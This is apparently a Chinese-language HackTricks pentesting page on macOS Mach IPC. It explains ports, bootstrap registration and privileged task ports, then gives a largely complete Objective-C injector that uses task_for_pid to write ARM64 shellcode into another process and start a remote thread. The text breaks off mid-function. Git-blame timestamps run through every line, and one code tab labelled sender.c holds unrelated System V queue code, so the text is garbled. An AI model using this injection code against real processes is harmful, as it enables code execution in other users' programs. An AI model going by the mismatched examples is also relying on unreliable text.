2023-08-03 19:12:22 +00:00
|
|
|
|
# macOS IPC - 进程间通信
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 通过端口进行Mach消息传递
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-09-24 14:35:53 +00:00
|
|
|
|
Mach使用**任务(task)**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程一一对应**。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
任务之间的通信通过Mach进程间通信(IPC)进行,利用单向通信通道。**消息通过端口进行传输**,端口类似于由内核管理的**消息队列**。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
端口权限定义了任务可以执行的操作,这对通信至关重要。可能的**端口权限**有:
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-09-14 00:00:07 +00:00
|
|
|
|
* **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中每个端口只能有**一个接收权限**(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* 拥有接收权限的**任务可以接收消息并创建发送权限**,从而可以发送消息。最初,只有**自己的任务对其端口拥有接收权限**。
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **发送权限**,允许向端口发送消息。
|
2023-10-05 15:48:49 +00:00
|
|
|
|
* 发送权限可以进行**克隆**,因此拥有发送权限的任务可以克隆该权限并将其授予第三方任务。
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **一次性发送权限**,允许向端口发送一条消息,然后消失。
|
|
|
|
|
* **端口集权限**,表示一个**端口集**而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
|
2023-10-05 22:30:31 +00:00
|
|
|
|
* **死命名**,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-10-05 15:48:49 +00:00
|
|
|
|
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以进行克隆**,因此任务可以复制并将权限授予第三方任务。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
#### 步骤:
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
正如前面提到的,为了建立通信通道,涉及到**引导服务器**(mac中的**launchd**)。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
1. 任务**A**初始化一个**新的端口**,在此过程中获得一个**接收权限**。
|
|
|
|
|
2. 作为接收权限的持有者,任务**A**为端口**生成一个发送权限**。
|
2023-10-05 22:30:31 +00:00
|
|
|
|
3. 任务**A**通过引导注册过程与**引导服务器**建立**连接**,提供**端口的服务名称**和**发送权限**。
|
|
|
|
|
4. 任务**B**与**引导服务器**交互,执行服务名称的引导**查找**。如果成功,**服务器复制从任务A接收到的发送权限**,并将其**传输给任务B**。
|
|
|
|
|
5. 获得发送权限后,任务**B**能够**构建**一条**消息**并将其**发送给任务A**。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务有可能**冒充任何系统任务**,例如虚假地**声称授权服务名称**,然后批准每个请求。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-09-14 00:00:07 +00:00
|
|
|
|
然后,Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。引导服务器将为每个这些服务名称创建并持有一个**接收权限**。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-09-24 14:35:53 +00:00
|
|
|
|
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
* 任务**B**启动服务名称的引导**查找**。
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **launchd**检查任务是否正在运行,如果没有,则**启动**它。
|
2023-10-05 22:30:31 +00:00
|
|
|
|
* 任务**A**(服务)执行引导**签入**。在这里,引导服务器创建一个发送权限,保留它,并将**接收权限传输给任务A**。
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* launchd复制**发送权限并将其发送给任务B**。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-10-05 22:30:31 +00:00
|
|
|
|
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 代码示例
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-10-05 15:48:49 +00:00
|
|
|
|
请注意,**发送方**在分配一个端口后,为名称`org.darlinghq.example`创建了一个**发送权限**,并将其发送到**引导服务器**,而发送方则请求该名称的**发送权限**并使用它来**发送消息**。
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="receiver.c" %}
|
|
|
|
|
```c
|
|
|
|
|
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
|
|
|
|
// gcc receiver.c -o receiver
|
|
|
|
|
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <mach/mach.h>
|
|
|
|
|
#include <servers/bootstrap.h>
|
|
|
|
|
|
|
|
|
|
int main() {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Create a new port.
|
|
|
|
|
mach_port_t port;
|
|
|
|
|
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
|
|
|
|
return 1;
|
|
|
|
|
}
|
|
|
|
|
printf("mach_port_allocate() created port right name %d\n", port);
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Give us a send right to this port, in addition to the receive right.
|
|
|
|
|
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
|
|
|
|
return 1;
|
|
|
|
|
}
|
|
|
|
|
printf("mach_port_insert_right() inserted a send right\n");
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
|
|
|
|
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
|
|
|
|
return 1;
|
|
|
|
|
}
|
|
|
|
|
printf("bootstrap_register()'ed our port\n");
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// Wait for a message.
|
|
|
|
|
struct {
|
|
|
|
|
mach_msg_header_t header;
|
|
|
|
|
char some_text[10];
|
|
|
|
|
int some_number;
|
|
|
|
|
mach_msg_trailer_t trailer;
|
|
|
|
|
} message;
|
|
|
|
|
|
|
|
|
|
kr = mach_msg(
|
|
|
|
|
&message.header, // Same as (mach_msg_header_t *) &message.
|
|
|
|
|
MACH_RCV_MSG, // Options. We're receiving a message.
|
|
|
|
|
0, // Size of the message being sent, if sending.
|
|
|
|
|
sizeof(message), // Size of the buffer for receiving.
|
|
|
|
|
port, // The port to receive a message on.
|
|
|
|
|
MACH_MSG_TIMEOUT_NONE,
|
|
|
|
|
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
|
|
|
|
);
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
printf("mach_msg() failed with code 0x%x\n", kr);
|
|
|
|
|
return 1;
|
|
|
|
|
}
|
|
|
|
|
printf("Got a message\n");
|
|
|
|
|
|
|
|
|
|
message.some_text[9] = 0;
|
|
|
|
|
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% tab title="sender.c" %}
|
|
|
|
|
|
|
|
|
|
```c
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
#include <string.h>
|
2023-09-14 00:00:07 +00:00
|
|
|
|
#include <sys/types.h>
|
|
|
|
|
#include <sys/ipc.h>
|
|
|
|
|
#include <sys/msg.h>
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-09-14 00:00:07 +00:00
|
|
|
|
#define MAX_TEXT 512
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-09-14 00:00:07 +00:00
|
|
|
|
struct msgbuf {
|
|
|
|
|
long mtype;
|
|
|
|
|
char mtext[MAX_TEXT];
|
|
|
|
|
};
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
2023-09-14 00:00:07 +00:00
|
|
|
|
int main() {
|
|
|
|
|
int msgid;
|
|
|
|
|
struct msgbuf msg;
|
|
|
|
|
|
|
|
|
|
// Create a message queue
|
|
|
|
|
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
|
|
|
|
|
if (msgid == -1) {
|
|
|
|
|
perror("msgget failed");
|
|
|
|
|
exit(EXIT_FAILURE);
|
2023-05-16 16:54:39 +00:00
|
|
|
|
}
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
2023-09-14 00:00:07 +00:00
|
|
|
|
// Set the message type
|
|
|
|
|
msg.mtype = 1;
|
|
|
|
|
|
|
|
|
|
// Set the message text
|
|
|
|
|
strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
|
|
|
|
// Send the message
|
2023-09-14 00:00:07 +00:00
|
|
|
|
if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) {
|
|
|
|
|
perror("msgsnd failed");
|
|
|
|
|
exit(EXIT_FAILURE);
|
2023-05-16 16:54:39 +00:00
|
|
|
|
}
|
|
|
|
|
|
2023-09-14 00:00:07 +00:00
|
|
|
|
printf("Message sent: %s\n", msg.mtext);
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
|
|
|
|
return 0;
|
2023-05-16 16:54:39 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
|
2023-05-16 16:54:39 +00:00
|
|
|
|
{% endtab %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
{% tab title="receiver.c" %}
|
2023-05-16 16:54:39 +00:00
|
|
|
|
```c
|
|
|
|
|
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
|
|
|
|
// gcc sender.c -o sender
|
|
|
|
|
|
|
|
|
|
#include <stdio.h>
|
|
|
|
|
#include <mach/mach.h>
|
|
|
|
|
#include <servers/bootstrap.h>
|
|
|
|
|
|
|
|
|
|
int main() {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Lookup the receiver port using the bootstrap server.
|
|
|
|
|
mach_port_t port;
|
|
|
|
|
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
|
|
|
|
|
return 1;
|
|
|
|
|
}
|
|
|
|
|
printf("bootstrap_look_up() returned port right name %d\n", port);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// Construct our message.
|
|
|
|
|
struct {
|
|
|
|
|
mach_msg_header_t header;
|
|
|
|
|
char some_text[10];
|
|
|
|
|
int some_number;
|
|
|
|
|
} message;
|
|
|
|
|
|
|
|
|
|
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
|
|
|
|
message.header.msgh_remote_port = port;
|
|
|
|
|
message.header.msgh_local_port = MACH_PORT_NULL;
|
|
|
|
|
|
|
|
|
|
strncpy(message.some_text, "Hello", sizeof(message.some_text));
|
|
|
|
|
message.some_number = 35;
|
|
|
|
|
|
|
|
|
|
// Send the message.
|
|
|
|
|
kr = mach_msg(
|
|
|
|
|
&message.header, // Same as (mach_msg_header_t *) &message.
|
|
|
|
|
MACH_SEND_MSG, // Options. We're sending a message.
|
|
|
|
|
sizeof(message), // Size of the message being sent.
|
|
|
|
|
0, // Size of the buffer for receiving.
|
|
|
|
|
MACH_PORT_NULL, // A port to receive a message on, if receiving.
|
|
|
|
|
MACH_MSG_TIMEOUT_NONE,
|
|
|
|
|
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
|
|
|
|
);
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
printf("mach_msg() failed with code 0x%x\n", kr);
|
|
|
|
|
return 1;
|
|
|
|
|
}
|
|
|
|
|
printf("Sent a message\n");
|
2023-05-16 16:54:39 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 特权端口
|
2023-05-16 16:54:39 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* **主机端口**:如果一个进程对该端口具有**发送**权限,他可以获取有关系统的**信息**(例如`host_processor_info`)。
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* **主机特权端口**:具有对该端口的**发送**权限的进程可以执行**特权操作**,如加载内核扩展。该进程需要是**root**才能获得此权限。
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* 此外,为了调用**`kext_request`** API,还需要具有其他授权**`com.apple.private.kext*`**,这些授权仅提供给Apple二进制文件。
|
|
|
|
|
* **任务名称端口**:_任务端口_的非特权版本。它引用任务,但不允许对其进行控制。似乎唯一可以通过它获得的是`task_info()`。
|
2023-09-14 00:00:07 +00:00
|
|
|
|
* **任务端口**(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**之间**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为特殊情况,suid二进制文件在`exec()`之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 这些是访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`):
|
|
|
|
|
* 如果应用具有**`com.apple.security.get-task-allow`授权**,来自**同一用户的进程可以访问任务端口**(通常由Xcode用于调试)。**公证**过程不允许将其用于生产版本。
|
2023-09-19 23:05:42 +00:00
|
|
|
|
* 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,但不能获取内核的任务端口。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
|
|
|
|
|
* **Root可以访问未使用强化运行时编译**(且不是来自Apple)的应用程序的任务端口。
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
### 通过任务端口在线程中注入Shellcode
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
您可以从以下位置获取Shellcode:
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-05-23 12:53:12 +00:00
|
|
|
|
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
|
|
|
|
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
2023-05-18 12:13:32 +00:00
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
|
|
|
|
{% tabs %}
|
|
|
|
|
{% tab title="mysleep.m" %}
|
|
|
|
|
```objectivec
|
|
|
|
|
// clang -framework Foundation mysleep.m -o mysleep
|
|
|
|
|
// codesign --entitlements entitlements.plist -s - mysleep
|
2023-09-19 23:05:42 +00:00
|
|
|
|
|
2023-05-18 12:13:32 +00:00
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
double performMathOperations() {
|
|
|
|
|
double result = 0;
|
|
|
|
|
for (int i = 0; i < 10000; i++) {
|
|
|
|
|
result += sqrt(i) * tan(i) - cos(i);
|
|
|
|
|
}
|
|
|
|
|
return result;
|
|
|
|
|
}
|
|
|
|
|
|
2023-05-18 12:13:32 +00:00
|
|
|
|
int main(int argc, const char * argv[]) {
|
2023-08-03 19:12:22 +00:00
|
|
|
|
@autoreleasepool {
|
2023-09-19 23:05:42 +00:00
|
|
|
|
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
|
|
|
|
|
processIdentifier]);
|
|
|
|
|
while (true) {
|
|
|
|
|
[NSThread sleepForTimeInterval:5];
|
|
|
|
|
|
|
|
|
|
performMathOperations(); // Silent action
|
|
|
|
|
|
|
|
|
|
[NSThread sleepForTimeInterval:5];
|
|
|
|
|
}
|
2023-08-03 19:12:22 +00:00
|
|
|
|
}
|
|
|
|
|
return 0;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
2023-10-05 22:30:31 +00:00
|
|
|
|
{% tab title="entitlements.plist" %}权限清单.plist{% endtab %}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
```xml
|
|
|
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
|
|
|
<plist version="1.0">
|
|
|
|
|
<dict>
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<key>com.apple.security.get-task-allow</key>
|
|
|
|
|
<true/>
|
2023-05-18 12:13:32 +00:00
|
|
|
|
</dict>
|
|
|
|
|
</plist>
|
|
|
|
|
```
|
|
|
|
|
{% endtab %}
|
|
|
|
|
{% endtabs %}
|
|
|
|
|
|
2023-09-20 23:22:05 +00:00
|
|
|
|
**编译**之前的程序,并添加**权限**以能够使用相同的用户注入代码(如果不是,则需要使用**sudo**)。
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
<summary>sc_injector.m</summary>
|
2023-05-18 12:13:32 +00:00
|
|
|
|
```objectivec
|
|
|
|
|
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
|
|
|
|
|
|
|
|
|
|
#import <Foundation/Foundation.h>
|
|
|
|
|
#import <AppKit/AppKit.h>
|
|
|
|
|
#include <mach/mach_vm.h>
|
|
|
|
|
#include <sys/sysctl.h>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#ifdef __arm64__
|
|
|
|
|
|
|
|
|
|
kern_return_t mach_vm_allocate
|
|
|
|
|
(
|
2023-08-03 19:12:22 +00:00
|
|
|
|
vm_map_t target,
|
|
|
|
|
mach_vm_address_t *address,
|
|
|
|
|
mach_vm_size_t size,
|
|
|
|
|
int flags
|
2023-05-18 12:13:32 +00:00
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
kern_return_t mach_vm_write
|
|
|
|
|
(
|
2023-08-03 19:12:22 +00:00
|
|
|
|
vm_map_t target_task,
|
|
|
|
|
mach_vm_address_t address,
|
|
|
|
|
vm_offset_t data,
|
|
|
|
|
mach_msg_type_number_t dataCnt
|
2023-05-18 12:13:32 +00:00
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#else
|
|
|
|
|
#include <mach/mach_vm.h>
|
|
|
|
|
#endif
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#define STACK_SIZE 65536
|
|
|
|
|
#define CODE_SIZE 128
|
|
|
|
|
|
|
|
|
|
// ARM64 shellcode that executes touch /tmp/lalala
|
|
|
|
|
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
int inject(pid_t pid){
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
task_t remoteTask;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Get access to the task port of the process we want to inject into
|
|
|
|
|
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
|
|
|
|
return (-1);
|
|
|
|
|
}
|
|
|
|
|
else{
|
|
|
|
|
printf("Gathered privileges over the task port of process: %d\n", pid);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Allocate memory for the stack
|
|
|
|
|
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
|
|
|
|
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
|
|
|
|
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
|
|
|
|
return (-2);
|
|
|
|
|
}
|
|
|
|
|
else
|
|
|
|
|
{
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Allocate memory for the code
|
|
|
|
|
remoteCode64 = (vm_address_t) NULL;
|
|
|
|
|
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
|
|
|
|
return (-2);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Write the shellcode to the allocated memory
|
|
|
|
|
kr = mach_vm_write(remoteTask, // Task port
|
|
|
|
|
remoteCode64, // Virtual Address (Destination)
|
|
|
|
|
(vm_address_t) injectedCode, // Source
|
|
|
|
|
0xa9); // Length of the source
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
|
|
|
|
return (-3);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Set the permissions on the allocated code memory
|
|
|
|
|
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
|
|
|
|
return (-4);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Set the permissions on the allocated stack memory
|
|
|
|
|
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
|
|
|
|
|
|
|
|
|
if (kr != KERN_SUCCESS)
|
|
|
|
|
{
|
|
|
|
|
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
|
|
|
|
return (-4);
|
|
|
|
|
}
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Create thread to run shellcode
|
|
|
|
|
struct arm_unified_thread_state remoteThreadState64;
|
|
|
|
|
thread_act_t remoteThread;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
|
|
|
|
//remoteStack64 -= 8; // need alignment of 16
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
const char* p = (const char*) remoteCode64;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
|
|
|
|
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
|
|
|
|
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
|
|
|
|
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
2023-05-18 12:13:32 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
|
|
|
|
|
|
|
|
|
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
|
|
|
|
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
|
|
|
|
|
|
|
|
|
if (kr != KERN_SUCCESS) {
|
|
|
|
|
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
|
|
|
|
return (-3);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return (0);
|
2023-05-18 12:13:32 +00:00
|
|
|
|
}
|
|
|
|
|
|
2023-09-19 23:05:42 +00:00
|
|
|
|
pid_t pidForProcessName(NSString *processName) {
|
|
|
|
|
NSArray *arguments = @[@"pgrep", processName];
|
|
|
|
|
NSTask *task = [[NSTask alloc] init];
|
|
|
|
|
[task setLaunchPath:@"/usr/bin/env"];
|
|
|
|
|
[task setArguments:arguments];
|
|
|
|
|
|
|
|
|
|
NSPipe *pipe = [NSPipe pipe];
|
|
|
|
|
[task setStandardOutput:pipe];
|
|
|
|
|
|
|
|
|
|
NSFileHandle *file = [pipe fileHandleForReading];
|
|
|
|
|
|
|
|
|
|
[task launch];
|
|
|
|
|
|
